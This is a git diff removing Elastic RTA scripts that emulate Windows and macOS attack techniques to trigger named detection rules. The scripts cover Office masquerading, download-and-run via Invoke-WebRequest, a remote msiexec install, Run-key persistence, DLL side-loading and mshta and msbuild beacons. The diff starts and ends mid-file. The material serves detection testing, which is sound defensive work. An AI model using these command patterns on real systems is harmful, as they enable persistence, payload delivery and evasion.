+++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5fc46f6e-5a2a-4336-98f3-5fdc27db7152", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Sublime Plugin or Application Script Modification", - "rule_id": "88817a33-60d3-411f-ba79-7c905d865b2a", - } - ], - techniques=["T1554"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - sublime_dir = Path(f"{Path.home()}/Library/Application Support/Sublime Text 4/") - sublime_packages = sublime_dir.joinpath("Packages") - sublime_packages.mkdir(parents=True, exist_ok=True) - sublime_path = str(sublime_packages.joinpath("test.py")) - common.log(f"Executing hidden plist creation on {sublime_path}") - common.temporary_file_helper("testing", file_name=sublime_path) - - # cleanup - common.remove_directory(str(sublime_packages)) - common.remove_directory(str(sublime_dir)) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/mount_smbfs.py b/rta/mount_smbfs.py deleted file mode 100644 index a584580c5..000000000 --- a/rta/mount_smbfs.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d275922f-a702-4668-a77d-c60e8df58646", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Attempt to Mount SMB Share via Command Line", "rule_id": "661545b4-1a90-4f45-85ce-2ebd7c6a15d0"} - ], - techniques=["T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/mount_smbfs" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake mount_smbfs command to mimic mounting a network share.") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py deleted file mode 100644 index 5d98e57a6..000000000 --- a/rta/ms_office_drop_exe.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Emulate MS Office Dropping an executable file to disk -# RTA: ms_office_drop_exe.py -# ATT&CK: T1064 -# Description: MS Office writes executable file and it is run. - -import os -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ce85674f-fb6c-44d5-b880-4ce9062e1028", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5", - "rule_name": "Execution of File Written or Modified by Microsoft Office", - } - ], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - cmd_path = "c:\\windows\\system32\\cmd.exe" - - for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]: - common.log("Emulating office application %s" % office_app) - office_path = Path(office_app).resolve() - common.copy_file(cmd_path, office_path) - - bad_path = Path("bad-{}-{}.exe".format(hash(office_app), os.getpid())).resolve() - common.execute([office_path, "/c", "copy", cmd_path, bad_path]) - - time.sleep(1) - common.execute([bad_path, "/c", "whoami"]) - - # cleanup - time.sleep(1) - common.remove_files(office_app, bad_path) - print("") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ms_office_task_creation.py b/rta/ms_office_task_creation.py deleted file mode 100644 index 57753c42c..000000000 --- a/rta/ms_office_task_creation.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="804463e7-b146-41ba-a757-d131d0a021ac", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, - ], - siem=[ - { - "rule_id": "baa5d22c-5e1c-4f33-bfc9-efa73bb53022", - "rule_name": "Suspicious Image Load (taskschd.dll) from MS Office", - } - ], - techniques=['T1036', 'T1036.004', "T1053", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - svchost = "C:\\Users\\Public\\svchost.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\taskschd.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - task = "C:\\Windows\\System32\\Tasks\\a.xml" - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, winword) - common.copy_file(EXE_FILE, svchost) - - common.log("Modifying the OriginalFileName") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "taskschd.dll"]) - - common.log("Loading taskschd.dll") - common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.execute([svchost, "-c", f"New-Item -Path {task} -Type File"], timeout=10) - common.remove_files(dll, ps1, rcedit, task, winword, svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py deleted file mode 100644 index 30d123795..000000000 --- a/rta/msbuild_network.py +++ /dev/null @@ -1,54 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: MsBuild with Network Activity -# RTA: msbuild_network.py -# ATT&CK: T1127 -# signal.rule.name: Microsoft Build Engine Started an Unusual Process -# signal.rule.name: Trusted Developer Application Usage -# Description: Generates network traffic from msbuild.exe - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="022dc249-a496-413a-9355-c37e3ea41dda", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae6", - "rule_name": "Microsoft Build Engine Started an Unusual Process", - } - ], - techniques=["T1027"], -) - - -MS_BUILD = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe" - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MS_BUILD) -def main(): - common.log("MsBuild Beacon") - server, ip, port = common.serve_web() - common.clear_web_cache() - - common.log("Updating the callback http://%s:%d" % (ip, port)) - target_task = "tmp-file.csproj" - common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task) - new_callback = "http://%s:%d" % (ip, port) - common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback) - - common.execute([MS_BUILD, target_task], timeout=30, kill=True) - common.remove_file(target_task) - - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msbuild_unusual_args.py b/rta/msbuild_unusual_args.py deleted file mode 100644 index 177e24809..000000000 --- a/rta/msbuild_unusual_args.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="511278ac-4996-438e-ba03-bef8f10665b5", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - {"rule_name": "MSBuild with Unusual Arguments", "rule_id": "6518cdaf-e6cd-4cf9-a51e-043117c3dbeb"}, - ], - siem=[], - techniques=["T1127", "T1218"], -) - -RENAMER = common.get_path("bin", "rcedit-x64.exe") -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msbuild = "C:\\Users\\Public\\posh.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, msbuild) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, msbuild, "--set-version-string", "OriginalFilename", "MSBuild.exe"]) - - common.log("Executing modified binary with extexport.exe original file name") - common.execute([msbuild, "-Version"], timeout=10, kill=True) - - common.remove_files(msbuild, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msequationeditor_file_written_exec.py b/rta/msequationeditor_file_written_exec.py deleted file mode 100644 index 0ef3f8051..000000000 --- a/rta/msequationeditor_file_written_exec.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a0b7435a-1f48-4fae-b3dc-c596dc70490d", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Execution of File Written or Modified by Microsoft Equation Editor", - "rule_id": "8bc4f22c-9bb1-4c76-a7b6-195bee3579db", - }, - {"rule_name": "Microsoft Equation Editor Child Process", "rule_id": "60eb5960-b26e-494a-8cf2-35ab5939f6c1"}, - ], - siem=[], - techniques=["T1203", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = f"http://{ip}:{port}/bin/renamed_posh.exe" - - eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" - dropped = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, eqnedt32) - - cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" - - # Execute command - common.log("Using a fake eqnedt32 to drop and execute an .exe") - common.execute([eqnedt32, "/c", cmd], timeout=10) - common.execute([eqnedt32, "/c", dropped], timeout=10, kill=True) - common.remove_file(eqnedt32) - common.remove_file(dropped) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msequationeditor_net_conn.py b/rta/msequationeditor_net_conn.py deleted file mode 100644 index 9bd9fea82..000000000 --- a/rta/msequationeditor_net_conn.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="75167553-4886-44ba-b5d6-b4c341b33709", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Network Connection from Microsoft Equation Editor", - "rule_id": "365571bb-2b93-4ae8-8c39-0558f8a6c4cc", - } - ], - siem=[], - techniques=["T1203", "T1566"], -) - -EXE_FILE = common.get_path("bin", "regsvr32.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" - - common.copy_file(EXE_FILE, eqnedt32) - common.log("Making connection using fake eqnedt32.exe") - common.execute([eqnedt32, "-Embedding"], timeout=10, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/mshta_network.py b/rta/mshta_network.py deleted file mode 100644 index b0618d820..000000000 --- a/rta/mshta_network.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Microsoft HTA tool (mshta.exe) with Network Callback -# RTA: mshta_network.py -# ATT&CK: T1170 -# Description: Generates network traffic from mshta.exe - -from . import common -from . import RtaMetadata - -HTA_FILE = common.get_path("bin", "beacon.hta") - - -metadata = RtaMetadata( - uuid="83465fca-25ae-4d6d-b747-c82cda75b0ae", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", - "rule_name": "Unusual Network Activity from a Windows System Binary", - }, - {"rule_id": "c2d90150-0133-451c-a783-533e736c12d7", "rule_name": "Mshta Making Network Connections"}, - {"rule_id": "a4ec1382-4557-452b-89ba-e413b22ed4b8", "rule_name": "Network Connection via Mshta"}, - ], - techniques=["T1127", "T1218"], -) - - -@common.requires_os(*metadata.platforms) -@common.dependencies(HTA_FILE) -def main(): - # http server will terminate on main thread exit - # if daemon is True - common.log("MsHta Beacon") - server, ip, port = common.serve_web() - common.clear_web_cache() - - new_callback = "http://%s:%d" % (ip, port) - common.log("Updating the callback to %s" % new_callback) - common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) - - mshta = "mshta.exe" - common.execute([mshta, HTA_FILE], timeout=3, kill=True) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py deleted file mode 100644 index 2e812750b..000000000 --- a/rta/msiexec_http_installer.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: MsiExec with HTTP Installer -# RTA: msiexec_http_installer.py -# ATT&CK: -# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d90f48c5-282a-4d29-a021-fb87e220e1a5", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", - "rule_name": "Unusual Network Activity from a Windows System Binary", - } - ], - techniques=["T1127"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("MsiExec HTTP Download") - server, ip, port = common.serve_web() - common.clear_web_cache() - common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)]) - common.log("Cleanup", log_type="-") - common.execute( - [ - "msiexec", - "/quiet", - "/uninstall", - "http://%s:%d/bin/Installer.msi" % (ip, port), - ] - ) - - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msiexec_remote_msi.py b/rta/msiexec_remote_msi.py deleted file mode 100644 index 458cb7fce..000000000 --- a/rta/msiexec_remote_msi.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="de245f02-8614-4fdd-b6e4-e845bbadd056", - platforms=["windows"], - endpoint=[{"rule_name": "Remote File Execution via MSIEXEC", "rule_id": "8ba98e28-d83e-451e-8df7-f0964f7e69b6"}], - siem=[], - techniques=["T1218"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Execute command - common.log("Trying to fetch remote non-existent MSI") - common.execute( - ["msiexec.exe", "/q", "/i", "https://8.8.8.8/bin/Installer.msi"], - timeout=5, - kill=True, - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msiexec_remote_msi_install.py b/rta/msiexec_remote_msi_install.py deleted file mode 100644 index a5fa6dd87..000000000 --- a/rta/msiexec_remote_msi_install.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8cb1d15d-d945-4f1c-9238-b221600156bc", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Remote MSI Package Installation via MSIEXEC", "rule_id": "706bf4ca-45b7-4eb1-acae-b1228124594a"}, - ], - siem=[], - techniques=["T1218", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msiexec = "C:\\Users\\Public\\msiexec.exe" - common.copy_file(EXE_FILE, msiexec) - - set_reg_cmd = "Set-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource' -Value http://google.com" - rem_reg_cmd = "Remove-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource'" - - # Execute command - common.log("Creating reg key using fake msiexec") - common.execute([msiexec, "/c", set_reg_cmd, "; cmd.exe", "/V"], timeout=5, kill=True) - common.execute([msiexec, "/c", rem_reg_cmd], timeout=5, kill=True) - common.remove_file(msiexec) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_addins_file.py b/rta/msoffice_addins_file.py deleted file mode 100644 index 7ef4695ce..000000000 --- a/rta/msoffice_addins_file.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="97979b30-908d-4c57-a33a-f3b78e55a84a", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'aaa80718-1ed9-43bd-bcf7-97f2a6c93ea8', - 'rule_name': 'Persistence via Microsoft Office AddIns' - }], - siem=[], - techniques=['T1137'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Word\\Startup" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\file.exe" - - common.copy_file(EXE_FILE, file) - common.remove_file(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_dcom_accessvbom.py b/rta/msoffice_dcom_accessvbom.py deleted file mode 100644 index ad3e015ed..000000000 --- a/rta/msoffice_dcom_accessvbom.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="456ec321-41c8-4a41-8f6f-40b8e3d1c295", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious MS Office Execution via DCOM", "rule_id": "6a714747-2671-4523-b233-744f119949b6"} - ], - siem=[], - techniques=["T1112", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - common.copy_file(EXE_FILE, winword) - - key = "SOFTWARE\\Microsoft\\Office\\Test\\Security" - value = "AccessVBOM" - data = "1" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - common.execute([winword, "-c", "echo", "-Embedding", ";powershell"], timeout=5, kill=True) - common.remove_file(winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_descendant_reg_mod_persistence.py b/rta/msoffice_descendant_reg_mod_persistence.py deleted file mode 100644 index 5b347ada0..000000000 --- a/rta/msoffice_descendant_reg_mod_persistence.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8fc20141-a73e-4c5e-9c9b-70acb69ab1dd", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Registry Persistence via Microsoft Office Descendant Process", - "rule_id": "999e7a9a-334f-4b74-834f-a652f91531f2", - } - ], - siem=[], - techniques=["T1547", "T1112", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, winword) - common.copy_file(EXE_FILE, posh) - - cmd = ( - "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " - "-Name Test -PropertyType String -value Testing" - ) - rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" - - # Execute command - common.log("Fake ms word reg mod...") - common.execute([winword, "/c", posh, "/c", cmd], timeout=10) - common.execute([posh, "/c", rem_cmd], timeout=10) - common.remove_file(winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_dll_image_load.py b/rta/msoffice_dll_image_load.py deleted file mode 100644 index da7d288f9..000000000 --- a/rta/msoffice_dll_image_load.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4ad6b308-f457-4805-89b9-43b99e32b24f", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Microsoft Office Loaded a Dropped Executable File", - "rule_id": "a0a82ad6-98ed-4426-abd8-52e7b052e297", - } - ], - siem=[], - techniques=["T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\a.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(EXE_FILE, winword) - common.copy_file(PS1_FILE, ps1) - - common.log("Droping and Loading a.dll into fake winword") - common.execute( - [ - winword, - "-c", - f"Copy-Item {user32} {dll}; Import-Module {ps1}; Invoke-ImageLoad {dll}", - ], - timeout=10, - ) - - common.remove_files(winword, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_file_dll_sideload.py b/rta/msoffice_file_dll_sideload.py deleted file mode 100644 index af5b27945..000000000 --- a/rta/msoffice_file_dll_sideload.py +++ /dev/null @@ -1,59 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import time - - -metadata = RtaMetadata( - uuid="c80653a4-26fa-4a9e-b06c-12d12680c4e7", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '68218637-3940-42cb-b2b7-0610fc1dde56', - 'rule_name': 'DLL Side Loading of a file dropped by Microsoft Office' - }, - { - 'rule_id': '37c54ca7-e96d-4fd5-92d3-08cab38516b7', - 'rule_name': 'Suspicious Executable File Creation' - } - ], - siem=[], - techniques=[ - 'T1574', 'T1574.001', 'T1574.002', 'T1566', 'T1566.001', 'T1105', 'T1059', 'T1059.005', 'T1059.007' - ], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\targetdll.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - common.copy_file(EXE_FILE, winword) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.execute([winword, "/c", f"Copy-Item {user32} '{dll}'"]) - - common.log("Modifying the OriginalFileName attribute to invalidate the signature") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.dll"]) - - common.log("Loading targetdll.dll into fake proc") - common.execute([powershell, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - time.sleep(3) - common.remove_files(rcedit, dll, ps1, winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_file_drop_exec_wmi.py b/rta/msoffice_file_drop_exec_wmi.py deleted file mode 100644 index ce1743bc4..000000000 --- a/rta/msoffice_file_drop_exec_wmi.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ca0cc06d-6a8f-4d9b-a9c2-9315c62f924a", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Execution via Windows Management Instrumentation", - "rule_id": "7e554c18-6435-41ce-b57b-d0ac3b73817f", - }, - {"rule_name": "Microsoft Office File Execution via WMI", "rule_id": "792411bd-59ef-4ac0-89be-786d52d1a5c8"}, - ], - siem=[], - techniques=["T1047", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = f"http://{ip}:{port}/bin/renamed_posh.exe" - - winword = "C:\\Users\\Public\\winword.exe" - wmiprvse = "C:\\Users\\Public\\wmiprvse.exe" - dropped = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, winword) - common.copy_file(EXE_FILE, wmiprvse) - common.copy_file(EXE_FILE, dropped) - - cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" - - # Execute command - common.execute([winword, "/c", cmd], timeout=10) - common.execute([wmiprvse, "/c", dropped], timeout=10, kill=True) - common.remove_file(winword) - common.remove_file(dropped) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_file_exec_script_interpreter.py b/rta/msoffice_file_exec_script_interpreter.py deleted file mode 100644 index c5bedadad..000000000 --- a/rta/msoffice_file_exec_script_interpreter.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3206f2b2-c731-479f-a258-d486dac8a055", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Microsoft Office File Execution via Script Interpreter", - "rule_id": "54aabea0-3687-4ef1-b70c-015ca588e563", - } - ], - siem=[], - techniques=["T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE, binary) - - # Execute command - common.log("Dropping executable using fake winword") - common.execute([binary, "/c", "copy C:\\Windows\\System32\\cmd.exe cmd.exe"]) - - common.log("Executing it using scripting program") - common.execute( - [ - "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", - "-C", - ".\\cmd.exe /c exit", - ] - ) - - common.remove_files(binary, "cmd.exe") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_potential_proc_inj.py b/rta/msoffice_potential_proc_inj.py deleted file mode 100644 index ec1a37907..000000000 --- a/rta/msoffice_potential_proc_inj.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="afaf4f08-765e-4d4a-8db0-5a2613e1f5be", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '05599d18-6ff7-4fff-ad2d-f03c930a7b6e', - 'rule_name': 'Potential Process Injection from Malicious Document' - } - ], - siem=[], - techniques=['T1055', 'T1566', 'T1566.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - common.copy_file(EXE_FILE, winword) - - common.execute([winword, "/c", cmd], timeout=5, kill=True) - common.remove_files(winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_reg_mod.py b/rta/msoffice_reg_mod.py deleted file mode 100644 index 0aa2b3edc..000000000 --- a/rta/msoffice_reg_mod.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="61abdbb3-bcab-4c57-8b5d-2a5c9226e580", - platforms=["windows"], - endpoint=[ - {"rule_name": "Registry Modification via Microsoft Office", "rule_id": "926b6cd1-c0c7-46d4-82d6-9deb6ae431d6"} - ], - siem=[], - techniques=["T1547", "T1112", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - 